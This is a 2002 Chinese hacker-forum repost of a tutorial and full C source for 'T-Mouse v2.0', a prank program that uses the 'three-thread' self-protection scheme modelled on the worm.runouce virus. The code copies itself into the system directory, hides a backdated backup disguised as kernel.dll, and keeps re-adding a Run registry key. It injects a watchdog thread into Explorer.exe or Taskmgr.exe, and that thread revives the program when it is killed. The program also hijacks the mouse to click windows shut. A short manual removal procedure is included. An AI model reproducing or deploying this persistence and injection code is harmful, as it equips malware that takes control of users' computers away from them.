20CN网络安全小组论坛 - 菜鸟乐园 - 浅析三线程程序开发思路与实现--转贴

论坛: 菜鸟乐园标题: 浅析三线程程序开发思路与实现--转贴

作者: shoutsky [shoutsky]

论坛用户

Author: TOo2y [原创]
E-mail: TOo2y@safechina.net
Homepage: www.safechina.net
Date: 11-27-2002

作者注：
    本文相关程序T-Mouse v2.0是一个基于“三线程”的诱鼠器。它具有强大的自我保护功能，一般情况下很难将其关闭，结束或删除。
    下载地址：< http://www.safechina.net/software/T-Mouse%20v2.0.rar >

一> 前言
    中国黑客（worm.runouce）病毒在国内出现以后，各大反病毒公司都对其进行了“仔细”的分析，得出一个结论：“中国黑客”发现了全球首创的“三线程”结构。这是金*公司对外的宣传词，我个人对病毒没什么研究，并且我对worm.runouce没有任何的个人看法，不过我可以确信的是很多反病毒公司往往在夸大事实，目的只有一个：让更多的用户觉得某某病毒很可怕，让更多的用户相信只有某某公司的杀毒软件才可以彻底将病毒清除掉。其实三线程并没有好高深的技术，不过ideal is wonderful。现在就让我们一步步揭开三线程程序开发的神秘面纱。

二> 三线程程序开发思路
    在操作系统中，进程是存储器，外设等资源的分配单位，同时也是处理器调度的对象，但为了提高进程内的并发性，windows系统中引入了线程这个概念（在很多其他操作系统中同样也有线程的概念，由于在2001年微软停止了window9x内核的研发，所以本文只针对windowx2000/xp操作系统），这时系统把线程作为处理器调度的对象，一个进程可以同时拥有多个并发的线程。通常情况下的简单程序就只有一个主线程，它是在进程创建时自动生成的。我们可以将想要执行的代码放在主线程里，然后再生成两个辅助线程，它们的功能就是实现对程序的保护功能，防止程序被用户关闭或删除。在此，称我们的可执行文件的进程为主进程。

    主线程需要完成的任务有三个，它们分别是准备工作，创建辅助线程和程序主要功能的实现。准备工作当然是为程序运行过程中所需要的一些部件做好准备，其中包括文件复制和保存，一般情况下是把可执行文件复制到系统目录下。当然为了防止意外删除，我们可以将程序的可执行文件备份，不过要注意修改一些属性（文件类型，大小，日期，属性），这样就不容易被发现与我们的可执行文件有关联了。创建辅助线程包括两个线程，一个驻留在主进程体内，另一个通过创建远程线程驻留到其他正在运行的进程体内。这两个线程的功能就是监视其他进程或线程的运行情况，如果出现异常立即恢复。程序的主要功能就不用多说了，想干什么就干什么，一般是一些不想让用户关闭的程序。

    驻留主进程体内的线程同时观察注册表和远程进程的情况。它实时查询注册表里 HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run键下相关可执行文件的键值，如果被删除就立即将其添加上。这就是对注册表的实时监视，使得每次开机时都会运行我们的可执行文件。而另一个功能则是监视驻留在远程进程体内辅助线程的运行情况，如果该线程被关闭，立即通过创建远程线程将被关闭的线程驻留到特定的进程内。如果你知道了辅助线程是驻留在那个进程内的，你就可以将这个远程进程关闭掉。但是我们还是可以将辅助线程驻留到其他的远程进程内。至于选定哪个远程进程，完全视你的心情而定。

    驻留在远程进程体内的辅助线程则监视主进程的运行情况，如果主进程被kill了，它会确认程序的可执行文件是否也被删除掉了。如果系统目录下的可执行文件不存在了，则用我们备份的文件恢复可执行文件，然后再重新启动程序，这样你在任务管理器里怎么也删除不了主进程。由于我们是创建远程线程，所以必须把线程的代码和线程所需要的参数都复制到远程进程的地址空间里。这是因为在windows2000/xp环境下，访问其他进程地址空间是违规的。我们把代码和参数复制过去后，线程就完全在远程进程的地址空间运行了。我们可以看到，通过两个辅助线程，就很难把主进程关闭或删除掉。

    现在我们就以一个诱鼠器为例，来分析三线程的程序结构，如下图：

  |------->-------|
remote ---<--- T-mouse --->--- watch --->--- Registry
  |--------------<---------------|

    其中T-mouse为主进程/主线程，remote为创建的远程线程，watch为本地的辅助监视线程，Registry为注册表文件。T-mouse创建remote和watch两个线程，remote监视T-mouse主进程，watch监视注册表文件和remote线程。

三> 核心代码分析
    本文的程序仅针对windows2000/xp操作系统，程序中使用的UNICODE编码。测试环境：Windows2000 + SP2 + VC6.0。整个程序分主线程main，本地辅助监视线程watch，远程线程remote,还包括获得进程ID的processtopid和创建远程线程的createremote两个自定义函数。

1.主线程：main
    GetSystemDirectory(syspath,MAX_PATH);
    //获得操作系统的系统目录；
    FindFirstFile(tname,&fdata);
    //查询系统目录下的T-mouse.exe是否存在；
    CopyFile(curname,tname,TRUE);
    //如果系统目录下没有，在将正在运行的程序复制到系统目录下；
    FindClose(ffhandle);
    //在查询完毕后，关闭相关句柄；
    CreateFile(kname,GENERIC_WRITE,FILE_SHARE_WRITE,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL);
    //打开系统目录下的备份文件kernel.dll；
    SetFileTime(fchandle,&ftime,NULL,&ftime);
    //修改kernel.dll的创建时间，修改时间；
    SetFileAttributes(kname,FILE_ATTRIBUTE_READONLY|FILE_ATTRIBUTE_HIDDEN|FILE_ATTRIBUTE_SYSTEM );
    //设置kernel.dll的属性为只读，系统及隐藏；
    CreateThread(NULL,0,watch,(LPVOID)rthread,0,NULL);
    //创建驻留在主进程内的辅助监视线程

2.本地辅助监视线程：watch
    RegOpenKeyEx(HKEY_LOCAL_MACHINE,rgspath,0,KEY_QUERY_VALUE,&hkey);
    //以查询方式打开注册表的HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run；
    RegQueryValueEx(hkey,_T("T-mouse"),NULL,NULL,(LPBYTE)lpdata,&dwbuflen);
    //查询是否存在T-mouse的键值；
    RegOpenKeyEx(HKEY_LOCAL_MACHINE,rgspath,0,KEY_WRITE,&hkey);
    //如果没有相关键值，就以写方式再次打开注册表；
    RegSetValueEx(hkey,_T("T-mouse"),NULL,type,(const byte *)wtname,dwbuflen);
    //写入我们想要的东西，系统每次启动都会运行我们的可执行文件；
    GetExitCodeThread(wethread,&exitcode);
    //获得远程线程的运行情况，看是否为STILL_ACTIVE，如果不是则创建远程线程；

3.远程线程：remote
    tOpenProcess(PROCESS_ALL_ACCESS,FALSE,erp->rpmousepid);
    //以所有可能的访问方式打开主进程，以便监视主进程的运行情况；
    tWaitForSingleObject(erp->rpprocesshandle,INFINITE);
    //等待直到主进程结束；
    tWinExec(erp->rpwinexecname, 0);
    //重新启动我们的可执行文件；

4.获得进程ID：processtopid
    EnumProcesses(lpidprocesses,sizeof(lpidprocesses),&cbneeded);
    //列举所有的进程
    OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ,FALSE,lpidprocesses[i]);
    //以查询信息和读取的方式打开进程
    EnumProcessModules(hprocess,&hmodule,sizeof(hmodule),&cbneeded);
    //获得进程模块的句柄
    GetModuleBaseName(hprocess,hmodule,normalname,sizeof(normalname));
    //获得特定模块的名字，以备比较

5.创建远程线程：createremote
    OpenProcess(PROCESS_CREATE_THREAD|PROCESS_VM_OPERATION|PROCESS_VM_WRITE,FALSE,remotepid);
    //PROCESS_CREATE_THREAD for CreateRemoteThread
    //PROCESS_VM_OPERATION  for VirtualAllocEx
    //PROCESS_VM_WRITE      for WriteProcessMemory
    VirtualAllocEx(rphandle,NULL,cb,MEM_COMMIT,PAGE_EXECUTE_READWRITE);
    //在远程进程中分配空间，以备将线程代码置入其中；
    WriteProcessMemory(rphandle,remotethr,(LPVOID)remote,cb,NULL);
    //将远程线程remote的代码写入到远程进程的地址空间中
    WriteProcessMemory(rphandle,remotepar,(LPVOID)&rp,cb,NULL);
    //将远程线程所需的参数也写入到远程进程的地址空间中
    CreateRemoteThread(rphandle,NULL,0,(LPTHREAD_START_ROUTINE)remotethr,(LPVOID)remotepar,0,NULL);
    //创建远程监视线程

四> 小结与后记
    我们已经看到，创建三线程就是为了更好的保护程序自身不被关闭和删除。两个辅助线程相互实时监视，如果监视对象被关闭了，就重新创建线程或进程。其实，在程序中我们选择的远程进程驻体为Explorer.exe和Taskmgr.exe。在通常情况下，如果用户知道了远程线程的驻体为资源管理器后，就会打开任务管理器来结束Explorer，这时我们再把远程线程驻入到任务管理器中。也就是说，只要Explorer或Taskmgr有一个存在，就不可能结束主进程。如果有其他Kill进程的工具，你就可以将其关闭掉，只要资源管理器和任务管理器均不存在时，就没有驻体来维持远程进程。不过，如果我们选择的远程进程为随机的，这就不容易发现了；如果我们选择的远程进程为系统文件（如smss.exe会话管理器），那么你是不会安全的结束远程线程，除非系统崩溃。

    如何不用其他的工具将其关闭并删除呢？你也可以进入到DOS或Safe模式下，将系统目录下的可执行文件删除，然后重启系统。这时，就不会自动运行程序了，然后将注册表里RUN键下的相关键值，系统目录下的备份文件及首次运行的可执行文件删除就彻底清楚了。在调试程序时，为了对远程线程的运行情况有所了解，我们使用了工具Dbgview.exe。

五> 附源代码

#define UNICODE
#define _UNICODE

#include <windows.h>
#include <tchar.h>
#include <conio.h>
#include <psapi.h>

typedef struct _remoteparameter
{
    DWORD       rpoutputdebugstring;
    DWORD       rpopenprocess;
    DWORD       rpwaitforsingleobject;
    DWORD       rpfindfirstfile;
    DWORD       rpcopyfile;
    DWORD       rpfindclose;
    DWORD       rpwinexec;

    DWORD       rpmousepid;
    HANDLE      rpprocesshandle;
    HANDLE      rpfilehandle;
    TCHAR       rptname[MAX_PATH];
    TCHAR       rpkname[MAX_PATH];
    char        rpwinexecname[MAX_PATH];
    WIN32_FIND_DATA rpfdata;

    TCHAR       rpoperror[30];
    TCHAR       rpffferror[30];
    TCHAR       rpcferror[30];
    TCHAR       rpfcerror[30];
    TCHAR       rpweerror[30];
    TCHAR       rpstring[30];
    TCHAR       rpwfsosignal[30];

}REMOTEPARAMETER, *PREMOTEPARAMETER;

DWORD   WINAPI remote(LPVOID pvparam);
DWORD   WINAPI watch(LPVOID pvparam);
DWORD   processtopid(TCHAR *processname);
HANDLE  createremote(PTSTR,PTSTR);
void    start(void);

HANDLE wthread;
TCHAR  *name1=_T("\\T-mouse.exe");
TCHAR  *name2=_T("\\kernel.dll");

int main()
{
         WIN32_FIND_DATA   fdata;
    HANDLE            ffhandle;
    HANDLE            fchandle;
    SYSTEMTIME        stime;
    FILETIME          ftime;
         TCHAR             syspath[MAX_PATH];
    TCHAR             curname[MAX_PATH];
    TCHAR             tname[MAX_PATH];
    TCHAR             kname[MAX_PATH];
    int               ret;

    HANDLE            rthread;

    HWND              hwnd;
    RECT              rt;
    POINT             ptnew;
    TCHAR             title[250];

         start();

    ret=GetSystemDirectory(syspath,MAX_PATH);
    if(ret==0)
    {
        _tprintf(_T("GetSystemDirectory Error: %d\n"),GetLastError());
        getche();
        return -1;
    }
    _tcscpy(tname,syspath);
    _tcscat(tname,name1);
    _tcscpy(kname,syspath);
    _tcscat(kname,name2);

    ffhandle=FindFirstFile(tname,&fdata);
    if(ffhandle==INVALID_HANDLE_VALUE)
    {
        if(GetLastError()==2)
        {
            ret=GetCurrentDirectory(MAX_PATH,curname);
            if(ret==0)
            {
                _tprintf(_T("GetCurrentDirectory Error: %d\n"),GetLastError());
                                   getche();
                return -1;
            }
            _tcscat(curname,name1);
            if(!CopyFile(curname,tname,TRUE))
            {
                _tprintf(_T("CopyFile %s Error: %d\n"),tname,GetLastError());
                           getche();
                return -1;
            }
        }
        else
        {
            _tprintf(_T("FindFirstFile %s Error: %d\n"),tname,GetLastError());
                               getche();
            return -1;
        }
    }
    else if(!FindClose(ffhandle))
    {
        _tprintf(_T("FindClose %s Error: %d\n"),tname,GetLastError());
        getche();
        return -1;
    }
    ffhandle=FindFirstFile(kname,&fdata);
    if(ffhandle==INVALID_HANDLE_VALUE)
    {
        if(GetLastError()==2)
        {
            ret=GetCurrentDirectory(MAX_PATH,curname);
            if(ret==0)
            {
                _tprintf(_T("GetCurrentDirectory Error: %d\n"),GetLastError());
                                        getche();
                return -1;
            }
            _tcscat(curname,name1);
            if(!CopyFile(curname,kname,TRUE))
            {
                _tprintf(_T("CopyFile %s Error: %d\n"),kname,GetLastError());
                           getche();
                return -1;
            }

            fchandle=CreateFile(kname,GENERIC_WRITE,FILE_SHARE_WRITE,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL);
                    if(fchandle==INVALID_HANDLE_VALUE)
            {
                _tprintf(_T("CreateFile %s Error: %d\n"),kname,GetLastError());
                                       getche();
                return -1;
            }

            memset(&stime,0,sizeof(stime));
            stime.wYear=2002;
            stime.wMonth=1;
            stime.wDay=12;
            stime.wDayOfWeek=5;
            stime.wHour=1;
            if(!SystemTimeToFileTime(&stime,&ftime))
            {
                _tprintf(_T("SystemTimeToFileTime Error: %d\n"),GetLastError());
                                 CloseHandle(fchandle);
                                getche();
                return -1;
            }
            if(!SetFileTime(fchandle,&ftime,NULL,&ftime))
            {
                               _tprintf(_T("SetFileTime Error: %d\n"),GetLastError());
                                 CloseHandle(fchandle);
                                getche();
                return -1;
            }
            if(!SetFileAttributes(kname, FILE_ATTRIBUTE_READONLY |  FILE_ATTRIBUTE_HIDDEN   |  FILE_ATTRIBUTE_SYSTEM ))
            {
                _tprintf(_T("SetFileAttributes Error: %d\n"),GetLastError());
                             CloseHandle(fchandle);
                                    getche();
                return -1;
            }
            CloseHandle(fchandle);
        }
        else
        {
            _tprintf(_T("FindFirstFile %s Error: %d\n"),kname,GetLastError());
                            getche();
            return -1;
        }
    }
    else if(!FindClose(ffhandle))
    {
        _tprintf(_T("FindClose %s Error: %d\n"),kname,GetLastError());
        getche();
        return -1;
    }

    if((rthread=createremote(tname,kname))==NULL)
    {
        _tprintf(_T("CreateRemote Error\n"));
        getche();
                   return -1;
    }

    wthread=CreateThread(NULL,0,watch,(LPVOID)rthread,0,NULL);
    if(wthread==NULL)
    {
        _tprintf(_T("CreateThread Error: %d\n"),GetLastError());
        CloseHandle(rthread);
        getche();
        return -1;
    }

    while(1)
    {
        hwnd=GetForegroundWindow();
        GetWindowRect(hwnd,&rt);
        GetCursorPos(&ptnew);

        if(ptnew.x<rt.right-15)
            ptnew.x+=3;
        else if(ptnew.x>rt.right-12)
            ptnew.x-=3;

        if(ptnew.y<rt.top+12)
            ptnew.y+=3;
        else if(ptnew.y>rt.top+15)
            ptnew.y-=3;
        SetCursorPos(ptnew.x,ptnew.y);

                   if((ptnew.x>=rt.right-15) && (ptnew.x<=rt.right-12)
        && (ptnew.y>=rt.top+12) && (ptnew.y<=rt.top+15)
        && (_tcslen(title)!=0))
        {
            mouse_event(MOUSEEVENTF_LEFTDOWN,ptnew.x,ptnew.y,0,0);
            mouse_event(MOUSEEVENTF_LEFTUP,ptnew.x,ptnew.y,0,0);
        }

        Sleep(1);
    }
    getche();
    return 0;
}


DWORD processtopid(TCHAR *processname)
{
    DWORD    lpidprocesses[1024],cbneeded,cprocesses;
    HANDLE   hprocess;
    HMODULE  hmodule;
    UINT     i;
    TCHAR    normalname[MAX_PATH]=_T("UnknownProcess");

    if(!EnumProcesses(lpidprocesses,sizeof(lpidprocesses),&cbneeded))
    {
        _tprintf(_T("EnumProcesses Error: %d\n"),GetLastError());
        return -1;
    }
    cprocesses=cbneeded/sizeof(DWORD);
    for(i=0;i<cprocesses;i++)
    {
        hprocess=OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ,FALSE,lpidprocesses[i]);
        if(hprocess)
        {
            if(EnumProcessModules(hprocess,&hmodule,sizeof(hmodule),&cbneeded))
            {
                GetModuleBaseName(hprocess,hmodule,normalname,sizeof(normalname));
                if(!_tcsicmp(normalname,processname))
                {
                    CloseHandle(hprocess);
                    return (lpidprocesses[i]);
                }
            }
        }

    }
    CloseHandle(hprocess);
    return 0;
}

HANDLE createremote(PTSTR ctname,PTSTR ckname)
{
         HANDLE            ethread;
    HANDLE            rphandle;
    TCHAR             name[2][15];
    TCHAR             *remotethr;
    TCHAR             *remotepar;
    DWORD             remotepid;
    int               cb;
         int               signal;
    HINSTANCE         hkernel32;
    REMOTEPARAMETER   rp;

    _tcscpy(name[0],_T("Explorer.exe"));
    _tcscpy(name[1],_T("Taskmgr.exe"));
    signal=1;
    while(1)
    {
        remotepid=processtopid(name[(++signal)%2]);
        if(remotepid==-1)
        {
            return NULL;
        }
        else if(remotepid==0)
        {
            OutputDebugString(_T("Remote Process isn't running\n"));
            Sleep(1000);
            continue;
        }
        rphandle=OpenProcess(PROCESS_CREATE_THREAD | PROCESS_VM_OPERATION | PROCESS_VM_WRITE, FALSE,remotepid);
        if(rphandle==NULL)
        {
                      Sleep(1000);
            continue;
        }
        else
        {
            break;
        }
    }

    cb=sizeof(TCHAR)*4*1024;
    remotethr=(PTSTR)VirtualAllocEx(rphandle,NULL,cb,MEM_COMMIT,PAGE_EXECUTE_READWRITE);
    if(remotethr==NULL)
    {
        _tprintf(_T("VirtualAllocEx for Thread Error: %d\n"),GetLastError());
                  CloseHandle(rphandle);
        return NULL;
    }
       if(WriteProcessMemory(rphandle,remotethr,(LPVOID)remote,cb,NULL)==FALSE)
    {
        _tprintf(_T("WriteProcessMemory for Thread Error: %d\n"),GetLastError());
                  CloseHandle(rphandle);
        return NULL;
    }
    {
        memset(&rp,0,sizeof(rp));
        rp.rpmousepid=GetCurrentProcessId();
        _tcscpy(rp.rpstring,_T("i am in remote process\n"));
        _tcscpy(rp.rpcferror,_T("CopyFile Error\n"));
        _tcscpy(rp.rpfcerror,_T("FindClose Error\n"));
        _tcscpy(rp.rpffferror,_T("FindFirstFile Error\n"));
        _tcscpy(rp.rpoperror,_T("OpenProcess Error\n"));
        _tcscpy(rp.rpweerror,_T("WinExec Error\n"));
        _tcscpy(rp.rpwfsosignal,_T("i am out of remote process\n"));
                  _tcscpy(rp.rptname,ctname);
        _tcscpy(rp.rpkname,ckname);
        WideCharToMultiByte(CP_ACP,0,ctname,-1,rp.rpwinexecname,_tcslen(ctname),NULL,NULL);

        hkernel32=GetModuleHandle(_T("kernel32.dll"));
        rp.rpoutputdebugstring=(DWORD)GetProcAddress(hkernel32,"OutputDebugStringW");
        rp.rpopenprocess=(DWORD)GetProcAddress(hkernel32,"OpenProcess");
        rp.rpwaitforsingleobject=(DWORD)GetProcAddress(hkernel32,"WaitForSingleObject");
        rp.rpfindfirstfile=(DWORD)GetProcAddress(hkernel32,"FindFirstFileW");
        rp.rpcopyfile=(DWORD)GetProcAddress(hkernel32,"CopyFileW");
        rp.rpfindclose=(DWORD)GetProcAddress(hkernel32,"FindClose");
        rp.rpwinexec=(DWORD)GetProcAddress(hkernel32,"WinExec");
    }
    cb=sizeof(TCHAR)*sizeof(rp);
    remotepar=(PTSTR)VirtualAllocEx(rphandle,NULL,cb,MEM_COMMIT,PAGE_READWRITE);
    if(remotepar==NULL)
    {
        _tprintf(_T("VirtualAllocEx for Parameter Error: %d\n"),GetLastError());
        CloseHandle(rphandle);
        return NULL;
    }
    if(WriteProcessMemory(rphandle,remotepar,(LPVOID)&rp,cb,NULL)==FALSE)
    {
        _tprintf(_T("WriteProcessMemory for Parameter Error: %d\n"),GetLastError());
        CloseHandle(rphandle);
        return NULL;
    }

    ethread=CreateRemoteThread(rphandle,NULL,0,(LPTHREAD_START_ROUTINE)remotethr,(LPVOID)remotepar,0,NULL);
    if(ethread==NULL)
    {
        _tprintf(_T("CreateRemoteThread Error: %d\n"),GetLastError());
        CloseHandle(rphandle);
        return NULL;
    }
    return ethread;
}

void start()
{
    _tprintf(_T("---[ T-mouse v2.0, by TOo2y      ]---\n"));
    _tprintf(_T("---[ E-mail: TOo2y@safechina.net ]---\n"));
    _tprintf(_T("---[ HomePage: www.safechina.net ]---\n"));
    _tprintf(_T("---[ Date: 11-27-2002            ]---\n\n"));
    return;
}

DWORD WINAPI watch(LPVOID pvparam)
{
    HANDLE            wethread=(HANDLE)pvparam;
    DWORD             exitcode;

    HKEY              hkey;
    TCHAR             sname[MAX_PATH];
    TCHAR             wtname[MAX_PATH];
    TCHAR             wkname[MAX_PATH];
    TCHAR             lpdata[MAX_PATH];
    LPCTSTR           rgspath=_T("Software\\Microsoft\\Windows\\CurrentVersion\\Run");
    DWORD             type=REG_SZ;
    DWORD             dwbuflen=MAX_PATH;
         int               ret;

         if((ret=GetSystemDirectory(sname,MAX_PATH))==0)
    {
             _tprintf(_T("GetSystemDirectory in watch Error: %d\n"),GetLastError());
              return -1;
    }
       _tcscpy(wtname,sname);
       _tcscat(wtname,name1);
    _tcscpy(wkname,sname);
    _tcscat(wkname,name2);

    while(1)
    {
                  ret=RegOpenKeyEx(HKEY_LOCAL_MACHINE,rgspath,0,KEY_QUERY_VALUE,&hkey);
        if(ret!=ERROR_SUCCESS)
        {
            _tprintf(_T("RegOpenKeyEx for KEY_QUERY_VALUE Error: %d\n"),GetLastError());
            break;
        }
        ret=RegQueryValueEx(hkey,_T("T-mouse"),NULL,NULL,(LPBYTE)lpdata,&dwbuflen);
        RegCloseKey(hkey);
        if(ret!=ERROR_SUCCESS)
        {
            ret=RegOpenKeyEx(HKEY_LOCAL_MACHINE,rgspath,0,KEY_WRITE,&hkey);
            if(ret!=ERROR_SUCCESS)
            {
                _tprintf(_T("RegOpenKeyEx for KEY_WRITE Error: %d\n"),GetLastError());
                break;
            }
            ret=RegSetValueEx(hkey,_T("T-mouse"),NULL,type,(const byte *)wtname,dwbuflen);
            RegCloseKey(hkey);
            if(ret!=ERROR_SUCCESS)
            {
                _tprintf(_T("RegSetValueEx Error: %d\n"),GetLastError());
                break;
            }
        }

        GetExitCodeThread(wethread,&exitcode);
        if(exitcode!=STILL_ACTIVE)
        {
            wethread=createremote(wtname,wkname);
        }
        Sleep(1000);
    }
    return 0;
}

DWORD WINAPI remote(LPVOID pvparam)
{
    PREMOTEPARAMETER erp=(PREMOTEPARAMETER)pvparam;

    typedef VOID   (WINAPI *EOutputDebugString)(LPCTSTR);
    typedef HANDLE (WINAPI *EOpenProcess)(DWORD, BOOL, DWORD);
    typedef DWORD  (WINAPI *EWaitForSingleObject)(HANDLE, DWORD);
         typedef HANDLE (WINAPI *EFindFirstFile)(LPCTSTR, LPWIN32_FIND_DATA);
    typedef BOOL   (WINAPI *ECopyFile)(LPCTSTR, LPCTSTR, BOOL);
    typedef BOOL   (WINAPI *EFindClose)(HANDLE);
    typedef UINT   (WINAPI *EWinExec)(LPCSTR, UINT);

    EOutputDebugString   tOutputDebugString;
    EOpenProcess         tOpenProcess;
    EWaitForSingleObject tWaitForSingleObject;
    EFindFirstFile       tFindFirstFile;
    ECopyFile            tCopyFile;
    EFindClose           tFindClose;
    EWinExec             tWinExec;

    tOutputDebugString=(EOutputDebugString)erp->rpoutputdebugstring;
    tOpenProcess=(EOpenProcess)erp->rpopenprocess;
    tWaitForSingleObject=(EWaitForSingleObject)erp->rpwaitforsingleobject;
    tFindFirstFile=(EFindFirstFile)erp->rpfindfirstfile;
    tCopyFile=(ECopyFile)erp->rpcopyfile;
    tFindClose=(EFindClose)erp->rpfindclose;
    tWinExec=(EWinExec)erp->rpwinexec;

    tOutputDebugString(erp->rpstring);

    erp->rpprocesshandle=tOpenProcess(PROCESS_ALL_ACCESS,FALSE,erp->rpmousepid);
    if(erp->rpprocesshandle==NULL)
    {
        tOutputDebugString(erp->rpoperror);
        return -1;
    }
    tWaitForSingleObject(erp->rpprocesshandle,INFINITE);
    tOutputDebugString(erp->rpwfsosignal);

    erp->rpfilehandle=tFindFirstFile(erp->rptname,&erp->rpfdata);
    if(erp->rpfilehandle==INVALID_HANDLE_VALUE)
    {
        tOutputDebugString(erp->rpffferror);
        if(!tCopyFile(erp->rpkname,erp->rptname,TRUE))
        {
            tOutputDebugString(erp->rpcferror);
            return -1;
        }
    }
    if(!tFindClose(erp->rpfilehandle))
    {
        tOutputDebugString(erp->rpfcerror);
        return -1;
    }

    if(tWinExec(erp->rpwinexecname, 0)<=31)
    {
        tOutputDebugString(erp->rpweerror);
        return -1;
    }
    return 0;
}

地主发表时间: 02/12 22:42

论坛: 菜鸟乐园